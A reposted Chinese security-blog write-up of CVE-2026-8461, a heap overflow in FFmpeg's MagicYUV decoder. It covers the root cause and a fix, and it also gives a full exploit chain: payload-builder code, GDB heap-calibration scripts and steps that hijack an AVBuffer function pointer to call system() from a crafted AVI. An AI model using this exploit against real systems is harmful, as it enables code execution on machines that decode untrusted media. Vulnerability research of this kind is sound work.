文章总结: CVE-2026-8461是FFmpegMagicYUV解码器中存在的堆越界写入漏洞,当处理特定构造的AVI文件时,解码器会将640字节数据写入Cb平面缓冲区之外的内存区域。该漏洞源于magydecodeslice函数中height与sheight计算逻辑差异导致的指针越界,在ASLR禁用环境下可精准覆盖AVBuffer结构体的函数指针,进而实现任意代码执行。文档详细分析了漏洞成因、触发条件及完整利用链,包括堆布局操控和指针劫持技术。 综合评分: 85 文章分类: 漏洞分析,二进制安全,漏洞POC,应急响应,WEB安全
CVE-2026-8461(PixelSmash) – 分析及复现
原创
Y5neKO Y5neKO
Y5Sec
2026年6月24日 15:36 四川
在小说阅读器读本章
去阅读
CVE-2026-8461(PixelSmash)— FFmpeg MagicYUV 解码器堆越界写入分析
CVE-2026-8461 是 FFmpeg MagicYUV 解码器中一处堆越界写入漏洞。通过精心构造的 AVI 文件可触发解码器将 640 字节数据写到 Cb 平面缓冲区末尾之外,在 ASLR 禁用、堆布局已知的条件下可进一步覆写 AVBuffer 函数指针,从而在解码过程中执行任意命令。本文记录漏洞成因及在受控环境(ASLR=0,x86_64)下的完整利用过程。
1. 漏洞概述
MagicYUV 是一种无损视频编解码器,FFmpeg 在 libavcodec/magicyuv.c 中实现了其解码器。漏洞位于解码函数 magy_decode_slice() 的 8 位格式处理路径。
| 字段 | 内容 | | — | — | | CVE 编号 | CVE-2026-8461 | | 漏洞类型 | 堆越界写入(Heap OOB Write,CWE-122) | | 受影响版本 | FFmpeg ≤ 8.0.1 | | 利用结果 | 代码执行(PoC 条件:ASLR=0,堆布局已知) |
复现环境:Ubuntu 20.04,内核 5.4.0-196-generic,x86_64,FFmpeg 8.0.1(gcc 9,-g -O0,含调试符号),glibc 2.31,ASLR 全局禁用(/proc/sys/kernel/randomize_va_space = 0)。
2. 漏洞根本原因
源码定位
漏洞在 libavcodec/magicyuv.c 的 magy_decode_slice() 函数中。该函数负责解码一个视频帧的单个 slice,对每个颜色平面分别处理行数据的写入。
关键代码(magicyuv.c:261-315):
static int magy_decode_slice(AVCodecContext *avctx, void *tdata,
int j, int threadnr)
{
const MagicYUVContext *s = avctx->priv_data;
...
for (i = 0; i < s->planes; i++) {
// 行 273:实际需要处理的行数——用 FFMIN 截断到图像剩余高度
int height = AV_CEIL_RSHIFT(
FFMIN(s->slice_height, avctx->coded_height - j * s->slice_height),
s->vshift[i]);
// 行 275:标准 slice 高度——不考虑末尾截断
int sheight = AV_CEIL_RSHIFT(s->slice_height, s->vshift[i]);
// 行 287:dst 指针使用 sheight 计算偏移
dst = p->data[i] + j * sheight * stride;
if (flags & 1) {
// 行 290:大小校验只检查 width * height(实际写入量)
if (s->slices[i][j].size - 2 < width * height)
return AVERROR_INVALIDDATA;
// 行 292:循环按 height 行写入,但 dst 已经越界
for (k = 0; k < height; k++) {
bytestream_get_buffer(&slice, dst, width); // ← OOB WRITE
dst += stride;
}
}
...
// 行 307-308:Left-prediction 原地解码
case LEFT:
dst = p->data[i] + j * sheight * stride;
s->llviddsp.add_left_pred(dst, dst, width, 0);
}
}
问题所在
height 和 sheight 的计算路径不同。height(行 273)先用 FFMIN 将值限制在图像实际剩余行数以内,再右移;sheight(行 275)直接对 slice_height 右移,不做截断。
dst 指针(行 287)用的是 sheight,因此当处理最后一个 slice 时,如果图像高度不是 slice_height 的整数倍,dst 就会指向平面缓冲区末尾之外的位置。随后的循环(行 292)虽然只写 height 行,但因为起始地址已经越界,写入的数据全部落在分配区域之外的堆内存上。
行 290 的大小校验只检查”写入量是否超过 slice 数据”,无法察觉 dst 已经越界,所以校验形同虚设。
3. 漏洞触发条件
3.1 触发路径
magy_decode_slice() 仅在 ffmpeg 的主解码循环中被调用,avformat_open_input 或探测阶段不会触发完整解码。完整调用链:
ffmpeg -i evil.avi -f null -
└─ 主解码循环
└─ avcodec_send_packet(dec_ctx, pkt)
└─ decode_simple_internal()
└─ magy_decode_frame()
└─ avctx->execute2(avctx, magy_decode_slice, ...)
└─ magy_decode_slice(avctx, tdata, j=1, threadnr)
└─ bytestream_get_buffer() ← 640 字节 OOB 写入
└─ av_frame_unref(frame)
└─ av_buffer_unref(frame->buf[1]) ← Cb 平面 AVBuffer
└─ refcount: 1 → 0
└─ b->free(b->opaque, b->data) ← 劫持点
-f null - 是必须的输出描述符。不加输出时,ffmpeg 在打印流信息后直接退出,主解码循环不运行,av_buffer_unref 不会在解码帧的 Cb 缓冲区上触发,劫持的 free 指针永远不会被调用。
3.2 帧几何参数
要触发越界写入,需要构造使最后一个 slice 的 Cb 颜色平面的 dst 指针越过缓冲区末尾的 AVI 文件。
YUV420P 格式下,色度平面的 hshift=1,vshift=1:
- •
coded_width = 1280,色度宽度 =AV_CEIL_RSHIFT(1280, 1)= 640,stride = 640字节 - •
coded_height = 32,色度高度 =AV_CEIL_RSHIFT(32, 1)= 16,Cb 缓冲区分配大小 = 640 × 16 = 10240 字节 - •
slice_height = 31
这组参数产生 2 个 slice(ceil(32/31) = 2)。对第二个 slice(j=1)的 Cb 平面:
sheight = AV_CEIL_RSHIFT(31, 1) = ceil(31/2) = 16
remaining = 32 - 1×31 = 1
height = AV_CEIL_RSHIFT(FFMIN(31, 1), 1) = AV_CEIL_RSHIFT(1, 1) = 1
dst = Cb_data + j × sheight × stride
= Cb_data + 1 × 16 × 640
= Cb_data + 10240 ← 恰好指向 Cb 缓冲区末尾之后
dst 越过末尾后,循环写入 1 行 × 640 字节 = 640 字节越界数据,方向是堆的较高地址。
大小校验(magicyuv.c:290)检查的是 s->slices[i][j].size - 2 < width * height,即 slice 数据量是否不足 width × height 字节。对 j=1 的 Cb 平面:width × height = 640 × 1 = 640。只要 AVI 文件中该 slice 提供 ≥ 642 字节的数据(我们控制文件内容,这是平凡的),校验就通过,写入照常进行,但起始地址已经越界。
写入完成后,add_left_pred(行 307-308)对写入区域进行 left-prediction 累加和解码。这意味着攻击者不能直接控制写到堆上的值,而必须先做逆变换,下文会详细说明。
4. 利用链设计
4.1 堆布局——OOB 落点
越界写入本身不足以构成 RCE,关键在于写入内容落在了什么地方。通过 GDB 在 magicyuv.c:291 设置条件断点(j==1 && i==1),在 OOB 写入发生前转储堆内容:
(gdb) break magicyuv.c:291 if j==1 && i==1
(gdb) run -i /tmp/exploit.avi -f null - 2>/dev/null
(gdb) x/80gx dst
OOB 起始地址为 0x5555556c5d80。在这个地址往后 640 字节的范围内,堆布局如下:
OOB+0x000 ~ +0x04f : 空闲内存(全零)← 用于放置 shell 命令字符串
OOB+0x058 : Chunk A,size=0xa0,free,small bin
OOB+0x060 : Chunk A.fd → Chunk E
OOB+0x068 : Chunk A.bk → glibc 主 arena small bin 头
OOB+0x0f0 : Chunk B,prev_size=0xa0,size=0x40,allocated
OOB+0x100 : AVBuffer.data = 0x5555556c3580 ← Cb 像素数据
OOB+0x108 : AVBuffer.size = 0x284f
OOB+0x110 : AVBuffer.refcount = 0x1
OOB+0x118 : AVBuffer.free = 0x55555560e0c0 ← av_buffer_default_free(待劫持)
OOB+0x120 : AVBuffer.opaque = 0x5555556c5fc0 ← 待劫持
OOB+0x138 : Chunk C,size=0x41,free,small bin
OOB+0x178 : Chunk D,size=0x20,allocated,含 AVBufferRef
OOB+0x180 : AVBufferRef.buf = 0x5555556c5e80 → AVBuffer
OOB+0x188 : AVBufferRef.data = 0x5555556c3580
OOB+0x198 : Chunk E,size=0xa0,free,small bin
OOB+0x1a0 : Chunk E.fd → Chunk A(形成双向链表)
Cb 平面的 AVBuffer 结构体恰好位于 OOB 区域内(OOB+0x100,即越界起点后 256 字节处)。
为什么 AVBuffer 在 OOB+256?
这来自 FFmpeg 帧缓冲区的分配顺序。magy_decode_frame() 通过 ff_get_buffer() → avcodec_default_get_buffer2() → av_frame_get_buffer() 为各颜色平面依次分配资源。以 Cb 平面(plane index 1)为例,av_buffer_alloc(cb_size) 内部连续执行两次 malloc:
- 1.
av_malloc(10240)→ Cb 像素数据块(glibc chunk,用户数据 10240 字节,即整个 Cb 缓冲区) - 2.
av_malloc(sizeof(AVBuffer))→ AVBuffer 管理结构体(~0x30 字节)
ASLR=0 的条件下,glibc 堆分配完全确定——相同二进制、相同输入路径、相同 glibc 版本,每次运行的分配地址完全一致。Cb 数据块结束后,堆上不是直接紧跟 AVBuffer,而是夹着 Chunk A(一个 0xa0 字节的 free chunk,来自解码初始化期间某次 alloc/free 配对)以及 AVBuffer 所在 Chunk B 的 0x10 字节 glibc 头部,合计恰好 0x100 = 256 字节。Calibration 的作用就是自动捕获这一布局的精确偏移,无需从分配顺序推算。
4.2 AVBuffer 函数指针劫持
AVBuffer 结构定义于 libavutil/buffer_internal.h:38:
struct AVBuffer {
uint8_t *data; // +0x00
size_t size; // +0x08
atomic_uint refcount; // +0x10
void (*free)(void *opaque, uint8_t *data); // +0x18 ← 劫持目标
void *opaque; // +0x20 ← 劫持目标
int flags; // +0x28
};
当 av_buffer_unref() 将 refcount 从 1 减到 0 时,它执行(libavutil/buffer.c:130):
b->free(b->opaque, b->data);
x86-64 调用约定下,第一个参数(b->opaque)放入 rdi,system() 只读第一个参数。因此:
- 1. 将
AVBuffer.free覆写为system()的地址 - 2. 将
AVBuffer.opaque覆写为 shell 命令字符串所在堆地址(即OOB+0x00) - 3. 保持
AVBuffer.refcount = 1,保证减到 0 后触发回调
帧被释放时,调用等价于:
system("id > /tmp/pwned");
4.3 Left-Prediction 逆变换
越界写入的数据在真正写到堆上之前,会被 add_left_pred 做累加和解码:
decoded[0] = raw[0]
decoded[i] = (decoded[i-1] + raw[i]) & 0xFF
因此文件中存储的不能是期望出现在堆上的值,而必须是经过逆变换后的值。逆变换(exploit_cve_2026_8461.py 中的 left_pred_encode())为:
def left_pred_encode(desired: bytes) -> bytes:
raw = bytearray(len(desired))
raw[0] = desired[0]
for i in range(1, len(desired)):
raw[i] = (desired[i] - desired[i-1]) & 0xFF
return bytes(raw)
写入 AVI 文件的是 left_pred_encode(desired);add_left_pred 解码后,堆上得到的是 desired——即我们精确控制的 payload。
add_left_pred 每行以参数 0 作为初始累加值(add_left_pred(dst, dst, width, 0)),因此 j=1 的 OOB 行与 j=0 的内容完全无关,逆变换只需针对 j=1 的 640 字节独立计算。j=0 的 Cb slice 在正常缓冲区范围内写入,填充全零像素是为了给解码器提供合法的像素数据,与 payload 无关。
5. Exploit 生成器
exploit_cve_2026_8461.py 将上述利用链封装为自动化工具。核心参数固定在脚本顶部:
WIDTH = 1280 # 色度宽度 640
HEIGHT = 32 # 总行数
SLICE_HEIGHT = 31 # 触发 OOB 的关键
NB_SLICES = 2
build_cb_oob_payload() 按以下顺序构建 640 字节 payload:
payload = bytearray(640) # 全零基底
# 1. OOB+0 处放 shell 命令(NUL 结尾)
payload[0:len(cmd_bytes)] = cmd_bytes
# 2. 写入 glibc chunk 元数据,防止堆结构被清零破坏
for off, data in cal.glibc_metadata.items():
payload[off:off+len(data)] = data
# 3. 覆写 AVBuffer 三个关键字段
struct.pack_into('<I', payload, avb + 16, 1) # refcount = 1
struct.pack_into('<Q', payload, avb + 24, cal.system_addr) # free = system()
struct.pack_into('<Q', payload, avb + 32, cal.cmd_heap_addr) # opaque = 命令地址
# 4. 写入需要保留的堆指针(优先级高于 glibc_metadata)
for off, data in cal.preserve.items():
payload[off:off+len(data)] = data
payload 经 left_pred_encode() 后写入 AVI 文件的 Slice 1 数据区。同时,Cr 平面的越界区域写入 cr_metadata 保留的 chunk 元数据,防止 Cr OOB 写入破坏堆。
AVI 容器由 build_avi() 封装,slice_height 字段写入 31(p32(SLICE_HEIGHT)),这是触发解码器走到漏洞路径的关键。
6. 自动 Calibration
Calibration 记录了目标运行时的三类信息:system() 的运行时地址、命令字符串落点(cmd_heap_addr)、以及 OOB 区域内每个 glibc chunk 的元数据。exploit 生成器依赖这些参数精确构建 payload。
ASLR 必须全局禁用才能使 calibration 有效:setarch -R 只设置进程级 ADDR_NO_RANDOMIZE,只禁用栈随机化,堆和 mmap 区域(包括 libc)仍然随机。正确做法是 sudo sysctl -w kernel.randomize_va_space=0,禁用后同一二进制+同一输入路径每次运行的所有地址完全重现。
Calibration 数据格式
calibration.json 包含两个关键字段,来源于 OOB 区域的堆分析:
glibc_metadata:OOB 写入后必须保持原值的 chunk size 字段(以 OOB 相对偏移为 key,little-endian hex 为 value)。payload 的全零基底会清空整个 640 字节区域;如果任何一个 chunk 的 size 字段(如 Chunk B 在 OOB+0xf8 的 size=0x40)被清零,glibc 下次调用 malloc 时扫描堆就会遇到 size=0 的异常 chunk,在 av_buffer_unref 触发 system() 之前就已经 abort。
preserve:必须保留原值的堆指针,包括 free chunk 的 fd/bk 链表指针(小端序,字节序写反即触发 corrupted double-linked list)和 AVBuffer/AVBufferRef 的 data/size 字段。preserve 覆写优先级高于 glibc_metadata,最后写入 payload,确保不被覆盖。
auto_calibrate.py — 调试版(含 -g 符号)
适用场景:FFmpeg 从源码编译含 DWARF 调试信息(-g),或通过包管理器安装了 -dbg 包。
该脚本利用 magicyuv.c:291 的行号断点,在 OOB 写入发生之前捕获 Cb 和 Cr 平面的堆快照:
break magicyuv.c:291 if j==1 && i==1 ← Cb OOB 写入前
commands 1
printf "==CB_OOB==\n"
printf "ADDR=0x%lx\n", (unsigned long)dst
x/80gx dst ← 转储 640 字节
printf "==END_CB==\n"
continue
end
break magicyuv.c:291 if j==1 && i==2 ← Cr OOB 写入前
commands 2
...
printf "SYSTEM=0x%lx\n", (unsigned long)&system
...
end
断点在写入之前触发,堆处于干净状态。Python 解析转储后,通过以下两步找到 AVBuffer:
遍历 glibc chunk(walk_chunks()):扫描每个 8 字节对齐位置,检查 size_field 是否构成合法 chunk 头(32 ≤ size ≤ 65536,16 字节对齐,无 IS_MMAPPED/NON_MAIN_ARENA 标志),同时验证 next chunk 合法,并通过 next_chunk.PREV_INUSE == 0 判断当前 chunk 是否为 free。
识别 AVBuffer(find_avbuffer()):在 allocated chunk 的用户数据区寻找满足以下条件的结构:data 是有效指针,size 为合理正整数,refcount == 1,free 是代码段地址。
用法:
sudo sysctl -w kernel.randomize_va_space=0
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-with-debug \
--avi /tmp/exploit.avi \
-o calibration.json
输出:
[*] Generating probe AVI -> /tmp/exploit.avi
[*] Running GDB probe (ffmpeg=/tmp/ffmpeg-8.0.1/ffmpeg)...
[*] Building calibration...
chunks:
OOB+0x50: size=0xa0 FREE
OOB+0xf0: size=0x40 ALLOC
OOB+0x130: size=0x40 FREE
OOB+0x170: size=0x20 ALLOC
OOB+0x190: size=0xa0 FREE
AVBuffer @ OOB+0x100: data=0x5555556c3580, free=0x55555560e0c0
AVBufferRef @ OOB+0x180
Cr: 1 chunk(s) preserved
[+] calibration.json
system() = 0x7ffff7c89290
avbuf_at = 256
entries = 6 metadata, 12 preserve
auto_calibrate_nosym.py — 生产版(无调试符号)
适用场景:apt install ffmpeg 等方式安装的 stripped 二进制,或以 --enable-shared --enable-stripping 编译的动态链接版本。这类二进制 .symtab 为空,行号断点无法使用。
生产版脚本改用两个不需要调试符号的 GDB 技术。
Phase 1 — 在 av_buffer_create 入口捕获数据指针
av_buffer_create(uint8_t *data, size_t size, ...) 是 libavutil 的公开 API,无论是否 strip 都保留在 libavutil.so 的 .dynsym 中。在函数入口处(x86_64 的 $rdi/$rsi,aarch64 的 $x0/$x1),data 和 size 参数直接可读,无需 finish。脚本读取目标二进制的 ELF e_machine 字段自动选择正确的寄存器名称:
def abi_regs(e_machine: int) -> tuple:
if e_machine == EM_AARCH64:
return '$x0', '$x1'
if e_machine == EM_ARM:
return '$r0', '$r1'
return '$rdi', '$rsi' # x86_64
通过大小过滤(CB_SIZE_MIN=8192 到 CB_SIZE_MAX=20480),捕获所有 Cb/Cr 缓冲区的分配地址作为候选。
Phase 2 — 硬件写监视点截获堆快照
对每个候选地址的 Cb_data + OOB_OFFSET(10240 字节)设置硬件写监视点:
watch *(char*)(OOB_START)
监视点在 OOB 写入的第一个字节后触发。此时 OOB+1 以后的堆内容完整,从 OOB+8 开始转储 79 个 qword(共 632 字节,跳过已被写入的首字节)。转储中出现合法 glibc chunk 的候选即为真正的 Cb OOB 起点,其余候选(Cr 缓冲区)另行探测。system() 地址通过 printf "SYSTEM=0x%lx\n", (unsigned long)&system 读取,无需任何调试符号。
用法:
sudo sysctl -w kernel.randomize_va_space=0
# 系统安装版(apt/yum)
python3 auto_calibrate_nosym.py --avi /tmp/exploit.avi -o calibration.json
# 非标准路径安装(指定库目录)
python3 auto_calibrate_nosym.py \
--ffmpeg /opt/ffmpeg/bin/ffmpeg \
--libpath /opt/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
输出(生产版 FFmpeg 8.0.1,stripped,动态链接):
[*] Generating probe AVI -> /tmp/exploit_prod.avi
[*] Phase 1: locating Cb/Cr buffer addresses...
2 candidate(s):
0x5555555c5440 size=10319 -> OOB 0x5555555c7c40
0x5555555fdf40 size=10319 -> OOB 0x555555600740
[*] Phase 2: verifying OOB start via hardware watchpoint...
[1/2] testing 0x5555555c7c40 ...
valid — 6 chunks found, system=0x7ffff4f21290
[*] Phase 2b: probing Cr region 0x555555600740 ...
Cr: 1 chunk(s) preserved
[*] Building calibration...
chunks:
OOB+0x50: size=0x70 ALLOC
OOB+0xc0: size=0x30 ALLOC
OOB+0xf0: size=0x40 ALLOC
OOB+0x130: size=0x40 ALLOC
OOB+0x170: size=0x20 ALLOC
OOB+0x190: size=0x70 ALLOC
AVBuffer @ OOB+0x100: data=0x5555555c5440, free=0x7ffff52880c0
AVBufferRef @ OOB+0x180
[+] calibration.json
system() = 0x7ffff4f21290
avbuf_at = 256
entries = 6 metadata, 5 preserve
生产版(-O2)与调试版(-O0 -g)的 chunk 结构完全不同(size=0x70 vs size=0xa0 等),这说明两套 calibration 脚本不能混用,也说明手工记录 chunk 布局在不同编译选项下无法通用。
AVI 路径必须一致
probe 和 exploit 必须使用完全相同的 AVI 路径。avformat_open_input 在内部对输入路径做 av_strdup(),将路径字符串拷贝到堆上。路径长度不同意味着 strdup malloc chunk 的大小不同,后续所有分配的地址随之偏移,calibration 记录的 cmd_heap_addr 和所有 chunk 偏移立即失效。
实验中曾用 /tmp/_auto_calibrate_probe.avi(29 字符)作为 probe 路径,而用 /tmp/exploit.avi(16 字符)投递 exploit,结果 cmd_heap_addr 偏移 0x40,所有 chunk 边界偏移,触发 corrupted double-linked list。两个脚本均通过 --avi 参数强制 probe 与 exploit 使用同一绝对路径(默认 /tmp/exploit.avi)。
Calibration 文件示例
以下为调试版 FFmpeg 8.0.1(Ubuntu 20.04,glibc 2.31,ASLR=0,AVI 路径 /tmp/exploit.avi)上生成的完整 calibration:
{
"system_addr": "0x7ffff7c89290",
"cmd_at": 0,
"cmd_maxlen": 88,
"avbuffer_at": 256,
"avb_refcount_off": 16,
"avb_free_off": 24,
"avb_opaque_off": 32,
"cmd_heap_addr": "0x5555556c5d80",
"glibc_metadata": {
"0x58": "a100000000000000",
"0xf0": "a000000000000000",
"0xf8": "4000000000000000",
"0x110": "0100000000000000",
"0x138": "4100000000000000",
"0x198": "a100000000000000"
},
"cr_metadata": {
"0x50": "5100000000000000",
"0xa0": "a149000000000000"
},
"preserve": {
"0x60": "105f6c5555550000",
"0x68": "703ce2f7ff7f0000",
"0x100": "80356c5555550000",
"0x108": "4f28000000000000",
"0x140": "b0086c5555550000",
"0x148": "103ce2f7ff7f0000",
"0x170": "4000000000000000",
"0x178": "2000000000000000",
"0x180": "805e6c5555550000",
"0x188": "80356c5555550000",
"0x190": "4f28000000000000",
"0x1a0": "500b6c5555550000",
"0x1a8": "d05d6c5555550000"
}
}
7. 复现验证
生成 exploit AVI:
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
[+] /tmp/exploit.avi (61 KB, 1 frame(s))
cmd: id > /tmp/pwned
ffmpeg -i /tmp/exploit.avi -f null -
expected: command executes, then process crashes
触发:
ffmpeg -i /tmp/exploit.avi -f null -
# ...
# corrupted size vs. prev_size ← 预期崩溃,system() 已完成
cat /tmp/pwned
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),...
进程崩溃在 system() 成功返回后——system() 内部调用 malloc 时遇到已被 exploit 修改过的堆结构,触发次级崩溃,但命令已执行完毕。
完整执行时序:
ffmpeg -i exploit.avi -f null -
└─ avformat_find_stream_info()
└─ magy_decode_slice(j=1, i=1)
├─ dst = Cb_data + 10240 (越过 Cb 缓冲区末尾)
├─ bytestream_get_buffer() 640 字节 OOB 写入(raw 编码)
└─ add_left_pred() left-prediction 解码 → 堆上出现期望值
├─ AVBuffer.free = system()
└─ AVBuffer.opaque = "id > /tmp/pwned" 地址
└─ 帧清理:av_buffer_unref(Cb_buf)
└─ refcount: 1 → 0
└─ b->free(b->opaque, b->data)
= system("id > /tmp/pwned")
成功写入文件。
8. 架构支持
本 PoC 在 x86_64 上开发和验证。aarch64 上的情况不同。
通过 auto_calibrate_nosym.py 在 aarch64 系统上测试,Phase 1 和 Phase 2 均能正常触发(av_buffer_create 断点命中,硬件监视点在 OOB 写入时触发),确认漏洞在 aarch64 上也存在。但 Phase 2 的堆转储中找不到有效的 glibc chunk,calibration 无法完成。
原因在于堆布局不同。在 aarch64 上,Cb 缓冲区(~10272 字节)被分配为一个 ~10288 字节的 glibc chunk。OOB_START = Cb_data + 10240 落在该 chunk 末尾 32 字节处,紧接着的下一个 chunk 是 Cr 缓冲区(同样 ~10288 字节)。这个大 chunk 的 next_off = 32 + 10288 = 10320,远超 640 字节的转储窗口,walk_chunks() 无法验证链有效。更根本的问题是:OOB 写入只有 640 字节,而 AVBuffer 在 aarch64 的堆布局中位于 OOB+10320 以外,写入内容根本触达不到 AVBuffer——不只是 calibration 失败,exploit 本身也不可行。
在 x86_64 上,-O2 和 -O0 -g 两种编译下 AVBuffer 恰好都落在 OOB+256 附近,是 glibc 在该架构上特定分配顺序的结果,不是设计保证。
要将 exploit 移植到 aarch64,需要先在 aarch64 上分析堆布局,确定 AVBuffer 相对于 Cb_data 的实际位置,再调整帧几何参数(例如加宽 WIDTH 以增大 OOB 写入窗口),使 OOB 写入能够覆盖到 AVBuffer 所在位置。这是独立的移植工作。
9. 修复建议
漏洞根源是 dst 指针用 sheight(未截断的标准高度)计算偏移,而写入循环用 height(截断后的实际高度)控制行数,两者不一致。
推荐修复(修改 dst 计算方式):
// 修复前(magicyuv.c:287)
dst = p->data[i] + j * sheight * stride;
// 修复后:在写入前验证 dst 不超出缓冲区边界
if (dst + (ptrdiff_t)height * stride > p->data[i] + buf_allocated_size)
return AVERROR_INVALIDDATA;
或者在分配缓冲区时以 sheight 而非 height 计算大小,确保 dst 跳到第 j 个 slice 时不会越界。
替代方案:在 magy_decode_init() 的几何参数校验阶段,检查 slice_height 与 coded_height 的组合是否会导致最后一个 slice 的 sheight > height,如果是则拒绝处理。这是更早的防线,不依赖逐帧检查。
10. EXP项目地址
https://github.com/Y5neKO/CVE-2026-8461-EXP
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Y5Sec Y5neKO Y5neKO《CVE-2026-8461(PixelSmash) – 分析及复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论